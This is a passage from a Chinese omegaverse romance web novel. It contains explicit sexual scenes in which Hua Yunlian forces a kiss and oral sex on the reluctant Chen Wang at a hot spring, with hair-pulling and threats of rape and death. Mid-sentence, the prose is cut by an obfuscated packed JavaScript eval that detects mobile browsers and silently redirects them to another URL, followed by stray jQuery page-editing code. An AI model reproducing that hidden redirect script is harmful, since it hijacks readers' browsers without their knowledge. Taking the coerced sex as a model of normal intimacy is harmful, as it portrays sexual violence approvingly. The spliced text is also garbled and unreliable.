陈望讨厌花云敛无时无刻都这么口无遮拦,狠狠甩开他的桎梏,下意识窥了眼不远处的同事们——


    还好。


    他们没注意到这边的异样。


    陈望撞上男人阴冷压抑的脸,那双眼简直在往外冒森蓝的鬼火。


    不像是要他泄欲。


    倒像是要把陈望敲骨吸髓,让他从灵魂深处都彻底顺从。


    凉风吹来,陈望哆嗦了下,小臂上起了一层鸡皮疙瘩。


    “你、你先别生气。”


    他尝试安抚:“我知道抑制剂对你这种高级别的alpha效果有限,让我想想办法……”


    花云敛垂眸,死死盯着他一张一合的淡粉唇瓣,饱满又漂亮,被食物塞满时更是让人想入非非。


    明明不是什么精于保养的人,怎么连嘴都那么——


    男人眸光一暗,克制自己不再想下去,冷冷打断:“我耐心有限,限你最后再说一句。”


    陈望无奈起身,平时倔得可怕,这时候看上去还挺逆来顺受,像个对流氓英勇就义的小媳妇。


    嗫嚅道:“半小时后,你去这个房间。”


    花云敛愣了下,颈侧青筋跳动几下:“……哈?”


    花小少爷从不是什么怜香惜玉的人,压根不打算对陈望温柔。


    但他更不喜欢强迫一个人服务自己,那样会搅乱他的兴致,你情我愿的事情非要闹那么僵,玩起来多不痛快。


    见这倔骨头可算想通了,他气稍微顺了点,冷脸离开。


    陈望叹了口气,蹲在地上默默把他踢翻的垃圾一一捡回去,着实有些疲倦。


    长腿迈进酒店大堂,花云敛刚走进电梯间,想了想,摁开电梯门,又折返回自助贩卖机前,买了一盒套。


    看陈望那直头直脑、说两句就要恼羞成怒的态度,就不像会做的样子。


    花云敛没羞没臊将小盒子抛着玩,嘴角轻勾。


    还是勉强给他前嫂子润滑一下吧。


    免得又哭又闹惹他心烦。


    他还很绅士地卡着点来到房间,以免陈望还没收拾好。


    房门没关实,是专门给花云敛留的,他浅金色眼眸一闪,轻哂了声,兴致盎然轻轻抬脚踢上门。


    那人缩在被窝里,鼓起个包,闻声颤了颤似乎十分紧张。


    花云敛四下扫了几眼,线条清晰立体的侧脸上,挂着若有若无的笑,心情不错:“专门开个大床房?”


    被褥里的人不回答,看来是害羞了。


    花云敛被冷落也不在乎,反正等下陈望有的是机会叫。


    “哥,要关灯吗?”小少爷淡笑着上前,青筋跳动的大手捏住被子,眼底□□丛生,嗓音都暗哑下来,“算了,这样直接干也看得清楚。”


    被子猛地掀开——


    床上的omega姿势妖娆,羞答答和花云敛对视:“花总……”


    花云敛的身影猝然僵住。


    由于第一次成功爬到花总床上,曼妥嘉激动到用力过猛,直接穿上约会战袍:“我今天专门穿了这样的衣服,也不知道……”


    “滚出去。”男人突然说。


    曼妥嘉表情一滞:“啊?”


    “滚出去!”


    门轰然关上,曼妥嘉狼狈摔倒在地,颤巍巍从走廊里爬起来,身上的蕾丝小布料几乎哪哪都遮不住,只捡起一件被丢出来的外套遮掩。


    路过的服务生尴尬咳嗽了一声。


    做服务行业这么久,什么样的人都见过,但这种狂野派还是少数。


    曼妥嘉尖叫一身,外套遮不了全身,他干脆往脑袋上一兜,一边叫一边冲回了房间。


    他惊魂未定,吓得小脸惨白。


    花总不满意他吗?怎么发了那么大火?


    ——那个该死的beta居然敢耍他!


    -


    夜色渐深,空气中都是降温后的霜露气息。


    这时候美美泡一个室外温泉,感受冰火两重天,还解决了缠人的花云敛,别提陈望心底有多惬意了。


    “舒服……”


    手臂舒展开,搭在冰凉湿润的怪石边沿,陈望泡得脸颊微红。


    刚还喝了点鸡尾酒,有些醉醺醺。


    这个度假山庄的温泉是一大特色,分为人工的和天然的,陈望好不容易来了,还赶上花氏集团包场,自然要享受户外最高级的。


    人少又干净。


    不远处是中式廊檐,竹影婆娑,怪石蜿蜒。


    雾气朦胧的温泉,三面环山,随便向远处望去就是一番景色。


    陈望从没去过公共澡堂,也不怎么游泳,因此上身也穿着泳衣,贴身的弧度流畅精瘦,没有一丝赘肉。


    他拨弄着水,心想这时候花云敛应该正和曼妥嘉战得酣畅。


    陈望冷笑几声。


    有包养协议又如何?


    反正他又不在乎花云敛,哪舍得亲自献身、随时服务那个只知道任性妄为的孩子?


    少爷和别人玩出花来,陈望都不会眨眨眼。


    天然温泉就是好,一直温热舒爽,就是周围的雾气有些大,他怎么看不见自己的同事了?


    这些精力旺盛的家伙,一转眼就不知道跑到哪去。


    陈望口干舌燥,想喊郝平凡把自己的冰水递过来,抹了一把脸,走了小半圈也没找到。


    暧昧浓雾中,一道高大强壮的身影不知何时趟水走到他身后。


    陈望刚一回头,唇瓣猛地让人堵住,对方强势地扣住他后脑勺,舌尖灵活撬开他齿关,很有技巧地长驱直入。


    陈望震惊到大脑一片空白,不等推拒就让人狠狠摁在冰冷的温泉边缘,抵在石头上。


    “唔……!”


    这人属狗的。


    他舌头被吸得好痛。


    挣扎时溅起一阵阵水花。


    唇舌交缠之间,也有令他脸红心跳的辗转水声,他快疯了。


    他早就记不清上一次接吻是什么时候,也许是体验很一般,这件事给他的印象不深。


    但眼下完全不同。


    被花云敛报复的惊恐,以及随时都可能被同事抓包的羞耻。


    很多情绪一同交织在一起,陈望开始腿软,几乎站不住,呜咽着求他放过,又被狠掐住腰,跑也跑不掉,亲也不会亲。


    他意识模糊,马上就要被亲到脑缺氧时,花云敛才勉强松开嘴。


    他唇瓣殷红,勾唇轻笑时能看见他白森森的虎牙,此刻嗓音沙哑性感得要命:“陈望哥,你真是活腻了。”


    “敢往我身边塞乱七八糟的东西?”


    手指用力抓着石头边缘,指尖都微微泛白,陈望还保持着薄唇微张的姿势,神色有些涣散。


    双腿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029821|162295||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也哆哆嗦嗦,不太站得稳,只能半推半就挂在花云敛身上。


    还不忘理智分析,只是往常清冷无感情的声线,这会儿有些喘。


    “你……”


    “……你处在易感期,抑制剂又、又不太管用,需要一个omega帮助你!”


    不知怎么,陈望每次一本正经发言,实事求是的想去解决问题,都能引得花云敛不爽,心情瞬间躁郁不堪。


    陈望感受到对方贴近自己,颤了下,察觉到什么变化,他连眼下都泛起羞耻至极的薄红。


    花云敛在他耳畔低语:“我那天真不该救你……”


    长指顺着陈望紧身的泳衣向上探进去,坏心眼地掐住他,欣赏他每一个细微变化的神情。


    “就该让那群流氓把你打死、插/死,好不好啊,哥哥?”


    花云敛每个音调都发着狠,咬牙切齿,只有最后两个字叫得很轻。


    一边说尽狠话。


    一边知道尊敬兄长。


    陈望完全应付不了乖张的小少爷,那两个字一出,他浑身像有酥酥麻麻的电流经过,彻底不会了。


    “我错了……”


    他主动道歉:“是我不好,我只想帮你、帮你解决问题,没想到你会不开心。”


    花云敛拍了拍他在水里的臀,冷声下令。


    “知道不好,就转过去。”


    陈望会意,脸红到恨不得晕死过去:“不、不行……!”


    “在这里…会污染温泉水,而且我同事们都在附近,要是被他们看到的话我——”


    话音未落,头皮顿时发出尖锐刺痛,他被迫仰头直视花云敛。


    男人的耐心早就烟消云散,脸色阴郁冷漠,薅住不听话的玩具一般,将他的头向自己的小腹摁过去。


    “有你说话的份吗?陈望哥。”


    陈望惊恐又羞愤,双目圆睁,黑眼珠颤抖微红,像被欺负的小鹿般无措。


    他、他从没这样过!


    但花云敛早就让他的迟疑、推拒、戏耍,给搅和得暴躁不堪,动作愈发粗鲁。


    温泉水一路淹没到陈望的锁骨,水压让他心脏跳得更快,大马士革玫瑰的香气掺杂其他气味一同进入他口腔。


    这水池不深,只到花云敛的大腿附近。


    小少爷舒适抬起头,颈肩线条优雅干净,喉结微微滚动,薅着陈望的头不撒手。


    对方动作很慢很生疏,他耐心地等着,因为光是陈望跪着服务他,就让他无比兴奋。


    直到牙齿磕得花云敛微痛,他皱起眉,拔了出来。


    冷森森看着神色迷茫呆滞的陈望:“你是打算咬掉吗?信不信,我就算没这玩意,也能每天折磨你。”


    陈望真不知道他哪来那么多事,忍住羞臊继续。


    “陈医生——”


    这时,不远处白雾中传来郝平凡的声音:“你在哪?我来找你!”


    那人的脚步越来越近,没几秒就能看见他们在做什么样的苟且之事。


    陈望猛然一抖,惊慌失措要逃走,要是被同事看见,他立刻撞石头上死了算了!


    谁知花云敛粗暴的一把摁住他,陈望呜咽一声,差点干呕。


    花云敛瞥见他不受控制翻白眼的神色,指腹轻轻抹掉他酡红脸颊上的眼泪,终于觉得有趣起来。


    “哥,别哭呀。”